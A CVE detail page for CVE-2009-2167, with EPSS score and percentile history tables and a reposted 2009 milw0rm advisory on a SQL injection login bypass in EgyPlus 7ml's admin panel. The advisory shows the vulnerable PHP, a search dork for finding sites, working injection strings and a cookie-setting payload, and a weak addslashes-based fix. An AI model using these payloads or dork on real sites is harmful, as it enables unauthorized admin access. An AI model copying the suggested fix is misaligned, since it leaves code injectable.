CVE-2009-2167 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.14%	–	–
2022-02-13	–	–	1.14%	–	–
2022-04-03	–	–	1.14%	–	–
2022-04-24	–	–	1.14%	–	–
2022-07-17	–	–	1.14%	–	–
2022-11-13	–	–	1.14%	–	–
2022-11-20	–	–	1.14%	–	–
2022-12-04	–	–	1.14%	–	–
2023-03-12	–	–	–	0.13%	–
2023-05-28	–	–	–	0.13%	–
2023-11-05	–	–	–	0.13%	–
2023-12-03	–	–	–	0.13%	–
2023-12-17	–	–	–	0.13%	–
2024-02-11	–	–	–	0.13%	–
2024-06-02	–	–	–	0.13%	–
2024-08-25	–	–	–	0.13%	–
2024-12-15	–	–	–	0.13%	–
2024-12-22	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.37%
2025-03-30	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	34%
2022-02-13	35%
2022-04-03	56%
2022-04-24	57%
2022-07-17	58%
2022-11-13	59%
2022-11-20	58%
2022-12-04	59%
2023-03-12	46%
2023-05-28	47%
2023-11-05	48%
2023-12-03	47%
2023-12-17	48%
2024-02-11	47%
2024-06-02	48%
2024-08-25	49%
2024-12-15	5%
2024-12-22	48%
2025-01-19	49%
2025-01-19	49%
2025-03-18	57%
2025-03-30	56%
2025-04-15	58%
2025-04-15	58%

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . =By: Qabandi =Email: iqa[a]hotmail.fr From Kuwait, PEACE... =Vuln: EgyPlus 7ml <= 1.0.1 - Cookie Auth Bypass SQL injection vulnerability (CABSIV) =INFO: http://egyplus.org/article-2.htm =Download: http://traidnt.net/vb/attachment.php?attachmentid=252224&d=1211197439 =DORK: "Powered By EgyPlus" _-=/:Conditions:\=-_ --------------------------------------------------------------------------------- ; Magic quotes for incoming GET/POST/Cookie data. magic_quotes_gpc = Off --------------------------------------=_=--------------------------------------- _-=/:Vulnerable_Code:\=-_ --------------------------------------------------------------------------------- ./cpanel/login.php::-- if($_COOKIE['username']){ $username = $_COOKIE['username']; <---- Not filtered $password = $_COOKIE['password']; <---- Not filtered }else{ $username = $_POST['username']; <---- Not filtered $password = $_POST['password']; <---- Not filtered } $sql=$hazemali->query("select name,pass from admin where name = '$username' and pass = '$password' "); $AdminInfo=$hazemali->num_rows($sql); if($AdminInfo==1) <---- Checks if MySQL statement is true then continues, FAIL... { ---------------------------------------=_=-------------------------------------- _-=/:Proof-OF-Concept-or-Whatever:\=-_ --------------------------------------------------------------------------------- We have TWO ways to do this: Login with these: username: qabandi' or '1'='1 password: qabandi' or '1'='1 or we set cookies (longer version) javascript:document.cookie = "username=qabandi' or '1'='1" javascript:document.cookie = "password=qabandi' or '1'='1" ---------------------------------------=_=-------------------------------------- _-=/:SOLUTION:\=-_ --------------------------------------------------------------------------------- ./cpanel/login.php::-- <== Change the code as following; if($_COOKIE['username']){ $username = addslashes($_COOKIE['username']); <---- Filter with ADDSLASHES() $password = addslashes($_COOKIE['password']); <---- Filter with ADDSLASHES() }else{ $username = addslashes($_POST['username']); <---- Filter with ADDSLASHES() $password = addslashes($_POST['password']); <---- Filter with ADDSLASHES() } $sql=$hazemali->query("select name,pass from admin where name = '$username' and pass = '$password' "); $AdminInfo=$hazemali->num_rows($sql); if($AdminInfo==1) { ---------------------------------------=_=-------------------------------------- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=- -=-=-=-==Bdon-=-za3al=-=-shabab-=-=el-thaghra-=-mafe=--=Mnha=--=-faydeh-==-==-=- -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=- -==-=-=-=-==-=-==-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=---=-==-=-==-=-=-=-=-=-=-- =-=-=-=-==-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=- Salam to All Muslim Hackers. # milw0rm.com [2009-06-03]